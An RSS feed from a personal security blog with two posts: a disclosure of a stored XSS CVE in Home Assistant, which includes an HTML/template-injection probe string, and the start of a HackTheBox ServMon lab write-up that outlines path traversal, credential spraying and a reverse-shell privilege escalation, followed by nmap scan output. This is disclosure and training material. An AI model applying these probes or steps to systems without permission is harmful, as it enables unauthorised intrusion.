<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Robin Lunde's random blog]]></title><description><![CDATA[Computer security and random thoughts!]]></description><link>https://www.robinlunde.com/blog/</link><image><url>https://www.robinlunde.com/blog/favicon.png</url><title>Robin Lunde&apos;s random blog</title><link>https://www.robinlunde.com/blog/</link></image><generator>Ghost 4.1</generator><lastBuildDate>Sun, 12 Apr 2026 19:32:09 GMT</lastBuildDate><atom:link href="https://www.robinlunde.com/blog/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[CVE-2025-62172]]></title><description><![CDATA[CVE-2025-62172

I will discuss my first accredited CVE!
I will go through: Personal thoughts, how I look for these types of issues and finally the technical details]]></description><link>https://www.robinlunde.com/blog/cve-2025-62172/</link><guid isPermaLink="false">68ee91655e02c306fe88f836</guid><category><![CDATA[Computer Securtiy]]></category><dc:creator><![CDATA[Robin Lunde]]></dc:creator><pubDate>Tue, 14 Oct 2025 19:24:13 GMT</pubDate><media:content url="https://www.robinlunde.com/blog/content/images/2025/10/BigPic-1.png" medium="image"/><content:encoded><![CDATA[<img src="https://www.robinlunde.com/blog/content/images/2025/10/BigPic-1.png" alt="CVE-2025-62172"><p>Well, it&apos;s been a while... </p><p>This time, I am here to talk about my first accredited CVE!</p><h2 id="table-of-contents"><u>Table of contents:</u></h2><ol><li><a href="www.robinlunde.com/blog/cve-2025-62172/ #personal-thoughts">Personal thoughts</a></li><li><a href="www.robinlunde.com/blog/cve-2025-62172/ #how-do-i-look-for-these-types-of-issues">How do I look for these types of issues?</a></li><li><a href="www.robinlunde.com/blog/cve-2025-62172/#technical-details">Technical details</a></li></ol><hr><h2 id="personal-thoughts"><u>Personal Thoughts</u></h2><p>First, let&apos;s begin with a meme:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2025/10/image.png" class="kg-image" alt="CVE-2025-62172" loading="lazy" width="489" height="487"><figcaption>Report vulnerability - get CVE</figcaption></figure><p>I have been doing bug bounty and security research for a while now, reporting issues and doing responsible disclosures to a variety of companies. It feels really good to finally get accredited with a CVE to show for it.</p><p>A lot of the time it feels like wasted effort &#x2014; you send reports and get no reply. Sometimes you get a quick response or a small reward, which feels good and fuels further work. This time, the coveted CVE was the reward :)</p><p>Another long-standing goal of mine was to contribute to open-source software that I use. I&apos;m very happy (and lucky) that I could do this while working on a hobby I enjoy. It&apos;s a huge bonus to help secure users worldwide.</p><p>I would like to thank the Home Assistant team for doing a great job, both in general and when responding to this report. Thank you!</p><hr><h2 id="how-do-i-look-for-these-types-of-issues">How do I look for these types of issues?</h2><p>Now, for what most of you really came for: the tips &amp; tricks.</p><p>When going about my daily life, I try to do my best to contribute to securing society and the services I use (and the other users of those services).</p><p>One simple technique I use is to plant harmless, easily-observable payloads in places where user-controlled content is rendered. They act like little tripwires that reveal when template engines, renderers, or sanitizers behave unexpectedly. An example is the payload in the report for the CVE:</p><p>&lt;s&gt; SomeText {{7*7}} ${6*6} #{5*5} @{4*4}</p><p>Possible observable results:</p><ul><li>If a templating engine or server side rendering evaluates expressions inside certain delimiters, you might see the expressions replaced by their calculated result.<br>Example:</li></ul><!--kg-card-begin: markdown--><p>&lt;s&gt; SomeText {{7*7}} ${6*6} #{5*5} 16</p>
<!--kg-card-end: markdown--><p><em>(Here <code>@{4*4}</code> became <code>16</code>.)</em></p><ul><li>or HTML-tags are not properly escaped and the &#xA0;whole text gets strikethrough (as seen in the report) and example below:</li></ul><!--kg-card-begin: html--><s> SomeText {{7*7}} ${6*6} #{5*5} @{4*4} </s><!--kg-card-end: html--><p>(Here <em><code>&lt;s&gt;</code></em> &#xA0;became interpreted as a strikethrough tag, indicating HTML injection)</p><p>Then, whenever I use the services, get emails or interact with it in my daily life, I just observe if any of these states change. It is like second nature to me at this point. This is also a technique I use in bug bounty and at my daily job. If you have permission to test, like in bug bounty and at work, you can also use blind execution payloads (check out <a href="https://github.com/ssl/ezXSS">ezXSS </a>for XSS-based out of band (blind) testing and <a href="https://github.com/projectdiscovery/interactsh">interactsh </a>for a general-purpose one) in the same way.</p><hr><h2 id="technical-details">Technical details</h2><ol><li>Here is the advisory:</li></ol><figure class="kg-card kg-bookmark-card kg-card-hascaption"><a class="kg-bookmark-container" href="https://github.com/home-assistant/core/security/advisories/GHSA-mq77-rv97-285m"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Stored XSS in graph tooltip from entity name</div><div class="kg-bookmark-description">### SummaryAn authenticated party can add a malicious name to the Energy entity, allowing for Cross-Site Scripting attacks against anyone who can see the Energy dashboard, when they hover over an...</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.githubassets.com/favicons/favicon.svg" alt="CVE-2025-62172"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">home-assistant</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/93de08dc72a6c127bd120d8b6c638bb8650ebf45aac402d5f493f0cf7aa7abc1/home-assistant/core/security/advisories/GHSA-mq77-rv97-285m" alt="CVE-2025-62172"></div></a><figcaption>CVE-2025-62172 Advisory</figcaption></figure><p>2. It seems like GitHub &amp; NVD has set the CVSS to 5.3, which I believe to be wrong. This is my fault, as I did not initially add a CVSS-score.</p><figure class="kg-card kg-image-card"><img src="https://www.robinlunde.com/blog/content/images/2025/10/image-1.png" class="kg-image" alt="CVE-2025-62172" loading="lazy" width="918" height="58" srcset="https://www.robinlunde.com/blog/content/images/size/w600/2025/10/image-1.png 600w, https://www.robinlunde.com/blog/content/images/2025/10/image-1.png 918w" sizes="(min-width: 720px) 720px"></figure><p>As such, here is my suggested CVSS rating for this issue:</p><p>CVSS 3.1 Vector: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H&amp;version=3.1">AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H</a></p><figure class="kg-card kg-bookmark-card kg-card-hascaption"><a class="kg-bookmark-container" href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H&amp;version=3.1"><div class="kg-bookmark-content"><div class="kg-bookmark-title">NVD - CVSS v3 Calculator</div><div class="kg-bookmark-description"></div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://nvd.nist.gov/site-media/images/favicons/apple-touch-icon.png" alt="CVE-2025-62172"><span class="kg-bookmark-author">Xfacebooklinkedinyoutube</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://nvd.nist.gov/site-media/images/usbanner/us_flag_small.png" alt="CVE-2025-62172"></div></a><figcaption>Proposed CVSS for CVE-2025-62172</figcaption></figure><p>A short description of why is: Home Assistant, at the time of the report, does not have any security mechanisms in place other than user management. That means that any valid user in the system is equivalent to an admin user. Quote from <a href="https://www.home-assistant.io/security/#non-qualifying-vulnerabilities">https://www.home-assistant.io/security/#non-qualifying-vulnerabilities</a>:</p><!--kg-card-begin: markdown--><h3 id="non-qualifying-vulnerabilities">Non qualifying vulnerabilities:</h3>
<blockquote>
<p>Privilege escalation attacks for logged in users. Home Assistant assumes every user is trusted and does not enforce user privileges. It assumes every logged in user has the same access as an owner account (<a href="https://www.home-assistant.io/docs/authentication/#user-accounts">more information</a>).</p>
</blockquote>
<!--kg-card-end: markdown--><p>In addition, user access to Home Assistant instances results in Remote Code Execution by design. An simple example:</p><ol><li>Be user</li><li>Install SSH-plugin</li><li>Shell access to server</li></ol><p>There are many other ways to achieve this, and it is just due to how the software is supposed to function. The result is that anyone with access to the server, in effect can execute code on the underlying host.</p><p>More information about Home Assistant and its approach to security can be found <a href="https://www.home-assistant.io/security/">here</a>!</p><p>Thank you for reading!</p>]]></content:encoded></item><item><title><![CDATA[HackTheBox - ServMon]]></title><description><![CDATA[This is a writeup for the HackTheBox machine ServMon. ServMon retired 20/06/2020 at 19.00 UTC.
It is an easy Windows machine, and largely relies on CVE's for exploitation.]]></description><link>https://www.robinlunde.com/blog/hackthebox-servmon/</link><guid isPermaLink="false">5eedbd5afabfea10e2f2c837</guid><category><![CDATA[Computer Securtiy]]></category><dc:creator><![CDATA[Robin Lunde]]></dc:creator><pubDate>Sat, 20 Jun 2020 23:13:00 GMT</pubDate><media:content url="https://www.robinlunde.com/blog/content/images/2020/06/maxresdefault.jpg" medium="image"/><content:encoded><![CDATA[<figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/06/image.png" class="kg-image" alt="HackTheBox - ServMon" loading="lazy"><figcaption>ServMon</figcaption></figure><img src="https://www.robinlunde.com/blog/content/images/2020/06/maxresdefault.jpg" alt="HackTheBox - ServMon"><p>This is a writeup for the HackTheBox machine <em><a href="https://www.hackthebox.eu/home/machines/profile/240">ServMon</a></em>. ServMon retired 20/06/2020 at 19.00 UTC.</p><p>It is an easy Windows machine, and largely relies on CVE&apos;s for exploitation.</p><h2 id="motivation">Motivation</h2><p>My motivation for doing this machine was to challenge myself to do it before it got retired. I had about 8 hours or so when I started.</p><h2 id="summary-">Summary:</h2><ol><li>Anonymous FTP reveals location of password file</li><li>NVMS-1000 Path Traversal allows retrieval of above discovered password file (<em><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-20085">CVE</a></em>)</li><li>Spraying found credentials targeted to known users gives valid SSH session (User pwn&apos;d)</li><li>Looking at previously found NSClient++ page&apos;s configuration file reveals the password</li><li>Put a netcat binary or prepare a reverse shell somehow (script execution is restricted and the box runs AV)</li><li>NSClient++ is vulnerable to privilege escalation by scheduling a task (<em><a href="https://www.exploit-db.com/exploits/46802">Exploit</a></em>)</li><li>Get root shell</li></ol><hr><h2 id="detailed-walkthrough">Detailed walkthrough</h2><p></p><h3 id="nmap"><strong>NMAP</strong></h3><p>In the words of <a href="https://twitter.com/ippsec">@ippsec</a> </p><blockquote>&quot;As always we start off with a NMAP&quot;</blockquote><p><em>(Sidenote: Thanks for producing amazing content, I would not be able to get this box without your guidance!)</em></p><ul><li>NMAP &quot;quick&quot; scan <em>(top 1000 ports, as is by default - <a href="https://nmap.org/book/port-scanning.html">ref</a>)</em></li></ul><blockquote>... The simple command <strong>nmap <em><code>&lt;target&gt;</code></em></strong> scans the most commonly used 1,000 TCP ports on the host <em><code>&lt;target&gt;</code> ...</em></blockquote><figure class="kg-card kg-code-card"><pre><code class="language-bash">$ sudo nmap -sC -sV -O 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 10:33 JST
Nmap scan report for 10.10.10.184
Host is up (0.15s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20  12:05PM       &lt;DIR&gt;          Users
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_  256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp   open  http
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
|     &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
|     &lt;head&gt;
|     &lt;title&gt;&lt;/title&gt;
|     &lt;script type=&quot;text/javascript&quot;&gt;
|     window.location.href = &quot;Pages/login.htm&quot;;
|     &lt;/script&gt;
|     &lt;/head&gt;
|     &lt;body&gt;
|     &lt;/body&gt;
|     &lt;/html&gt;
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-title: Site doesn&apos;t have a title (text/html).
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5666/tcp open  tcpwrapped
6699/tcp open  napster?
8443/tcp open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     iday
|     Sat:Saturday
|     workers
|_    jobs
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.80%I=7%D=6/20%Time=5EECDAED%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,&quot;HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n&quot;)%r(GetRequest,1B4,&quot;HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf&lt;!DOCTYPE\x20html\x20PUBLIC\x20\&quot;-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\&quot;\x20\&quot;http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\&quot;&gt;\r\n\r\n&lt;html\x20xmlns=\&quot;http://www\.w3\.
SF:org/1999/xhtml\&quot;&gt;\r\n&lt;head&gt;\r\n\x20\x20\x20\x20&lt;title&gt;&lt;/title&gt;\r\n\x20\
SF:x20\x20\x20&lt;script\x20type=\&quot;text/javascript\&quot;&gt;\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\&quot;Pages/login\.htm\&quot;;\r\n\x2
SF:0\x20\x20\x20&lt;/script&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;\r\n&quot;)
SF:%r(HTTPOptions,1B4,&quot;HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf&lt;!DOCTYPE\x20html\x20PUBLIC\x20\&quot;-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\&quot;\x20\&quot;http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\&quot;&gt;\r\n\r\n&lt;html\x20xmlns=\&quot;http://www\.w3\.org/1
SF:999/xhtml\&quot;&gt;\r\n&lt;head&gt;\r\n\x20\x20\x20\x20&lt;title&gt;&lt;/title&gt;\r\n\x20\x20\x
SF:20\x20&lt;script\x20type=\&quot;text/javascript\&quot;&gt;\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\&quot;Pages/login\.htm\&quot;;\r\n\x20\x20
SF:\x20\x20&lt;/script&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;\r\n&quot;)%r(RT
SF:SPRequest,1B4,&quot;HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf&lt;!DOCTYPE\x20html\x20PUBLIC\x20\&quot;-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\&quot;\x20\&quot;http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\&quot;&gt;\r\n\r\n&lt;html\x20xmlns=\&quot;http://www\.w3\.org/1999/x
SF:html\&quot;&gt;\r\n&lt;head&gt;\r\n\x20\x20\x20\x20&lt;title&gt;&lt;/title&gt;\r\n\x20\x20\x20\x2
SF:0&lt;script\x20type=\&quot;text/javascript\&quot;&gt;\r\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20window\.location\.href\x20=\x20\&quot;Pages/login\.htm\&quot;;\r\n\x20\x20\x20\
SF:x20&lt;/script&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;\r\n&quot;);
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.80%T=SSL%I=7%D=6/20%Time=5EECDAF6%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,&quot;HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0iday\0Sat:Saturday\0\0\x12
SF:\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03\x18\xc7\x08\x12&quot;
SF:)%r(HTTPOptions,36,&quot;HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDo
SF:cument\x20not\x20found&quot;)%r(FourOhFourRequest,36,&quot;HTTP/1\.1\x20404\r\nCo
SF:ntent-Length:\x2018\r\n\r\nDocument\x20not\x20found&quot;)%r(RTSPRequest,36,
SF:&quot;HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20fo
SF:und&quot;)%r(SIPOptions,36,&quot;HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\
SF:nDocument\x20not\x20found&quot;);
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/20%OT=21%CT=1%CU=42752%PV=Y%DS=2%DC=I%G=Y%TM=5EECDB8
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%CI=I%TS=U)SEQ(SP=104%GC
OS:D=1%ISR=10B%TS=U)OPS(O1=M54DNW8NNS%O2=M54DNW8NNS%O3=M54DNW8%O4=M54DNW8NN
OS:S%O5=M54DNW8NNS%O6=M54DNNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W
OS:6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M54DNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%
OS:DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O
OS:=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T6(R=Y%DF
OS:=Y%T=80%W=0%S=O%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G
OS:)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -5s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-06-19T15:36:16
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 166.74 seconds
</code></pre><figcaption>Quick scan</figcaption></figure><ul><li>NMAP all ports</li></ul><figure class="kg-card kg-code-card"><pre><code>$ sudo nmap -p- -T5 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 10:54 JST
Warning: 10.10.10.184 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.184
Host is up (0.17s latency).
Not shown: 65517 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5040/tcp  open  unknown
5666/tcp  open  nrpe
6063/tcp  open  x11
6699/tcp  open  napster
8443/tcp  open  https-alt
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 639.38 seconds</code></pre><figcaption>All ports scan</figcaption></figure><ul><li>NMAP targeted scan</li></ul><figure class="kg-card kg-code-card"><pre><code class="language-Bash">$ sudo nmap -sC -sV -O -p 21,22,80,135,139,445,5040,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -T5 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 11:42 JST
Nmap scan report for SERVMON (10.10.10.184)
Host is up (0.17s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20  12:05PM       &lt;DIR&gt;          Users
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_  256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp    open  http
| fingerprint-strings: 
|   GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo: 
|     &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
|     &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
|     &lt;head&gt;
|     &lt;title&gt;&lt;/title&gt;
|     &lt;script type=&quot;text/javascript&quot;&gt;
|     window.location.href = &quot;Pages/login.htm&quot;;
|     &lt;/script&gt;
|     &lt;/head&gt;
|     &lt;body&gt;
|     &lt;/body&gt;
|     &lt;/html&gt;
|   NULL: 
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-title: Site doesn&apos;t have a title (text/html).
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
5666/tcp  open  tcpwrapped
6063/tcp  open  x11?
6699/tcp  open  napster?
8443/tcp  open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|_    jobs
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.80%I=7%D=6/20%Time=5EED6980%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,&quot;HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n&quot;)%r(GetRequest,1B4,&quot;HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf&lt;!DOCTYPE\x20html\x20PUBLIC\x20\&quot;-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\&quot;\x20\&quot;http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\&quot;&gt;\r\n\r\n&lt;html\x20xmlns=\&quot;http://www\.w3\.
SF:org/1999/xhtml\&quot;&gt;\r\n&lt;head&gt;\r\n\x20\x20\x20\x20&lt;title&gt;&lt;/title&gt;\r\n\x20\
SF:x20\x20\x20&lt;script\x20type=\&quot;text/javascript\&quot;&gt;\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\&quot;Pages/login\.htm\&quot;;\r\n\x2
SF:0\x20\x20\x20&lt;/script&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;\r\n&quot;)
SF:%r(HTTPOptions,1B4,&quot;HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf&lt;!DOCTYPE\x20html\x20PUBLIC\x20\&quot;-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\&quot;\x20\&quot;http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\&quot;&gt;\r\n\r\n&lt;html\x20xmlns=\&quot;http://www\.w3\.org/1
SF:999/xhtml\&quot;&gt;\r\n&lt;head&gt;\r\n\x20\x20\x20\x20&lt;title&gt;&lt;/title&gt;\r\n\x20\x20\x
SF:20\x20&lt;script\x20type=\&quot;text/javascript\&quot;&gt;\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\&quot;Pages/login\.htm\&quot;;\r\n\x20\x20
SF:\x20\x20&lt;/script&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;\r\n&quot;)%r(RT
SF:SPRequest,1B4,&quot;HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf&lt;!DOCTYPE\x20html\x20PUBLIC\x20\&quot;-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\&quot;\x20\&quot;http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\&quot;&gt;\r\n\r\n&lt;html\x20xmlns=\&quot;http://www\.w3\.org/1999/x
SF:html\&quot;&gt;\r\n&lt;head&gt;\r\n\x20\x20\x20\x20&lt;title&gt;&lt;/title&gt;\r\n\x20\x20\x20\x2
SF:0&lt;script\x20type=\&quot;text/javascript\&quot;&gt;\r\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20window\.location\.href\x20=\x20\&quot;Pages/login\.htm\&quot;;\r\n\x20\x20\x20\
SF:x20&lt;/script&gt;\r\n&lt;/head&gt;\r\n&lt;body&gt;\r\n&lt;/body&gt;\r\n&lt;/html&gt;\r\n&quot;);
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.80%T=SSL%I=7%D=6/20%Time=5EED6989%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,&quot;HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03\
SF:x18\xcb\x15\x12&quot;)%r(HTTPOptions,36,&quot;HTTP/1\.1\x20404\r\nContent-Length:
SF:\x2018\r\n\r\nDocument\x20not\x20found&quot;)%r(FourOhFourRequest,36,&quot;HTTP/1
